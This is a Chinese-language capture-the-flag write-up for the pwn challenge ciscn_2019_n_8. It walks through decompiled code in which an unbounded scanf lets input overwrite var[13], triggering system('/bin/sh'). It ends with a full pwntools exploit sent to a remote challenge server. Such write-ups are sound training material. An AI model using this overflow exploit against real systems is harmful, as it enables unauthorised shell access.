ciscn_2019_n_8
使用checksec
查看:
保护算是全开了,似乎有点棘手,先放进IDA中查看下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
var
是一个数组var[13] = 0;
:var[13]
已经被初始化为0了if ( *(_QWORD *)&var[13] == 17LL ) system("/bin/sh");
:只需要满足var[13] == 17
即可getshell
题目思路
- 只需要满足
var[13] == 17
即可getshell __isoc99_scanf()
函数没有限制输入数据的长度- 直接将
var[13]
覆盖成17就行了
步骤解析
无
完整exp
from pwn import *
#start
# r = process("../buu/ciscn_2019_n_8")
r = remote("node4.buuoj.cn",25323)
#paramas
#attack
payload = p32(17) * 14
r.recv()
r.sendline(payload)
r.interactive()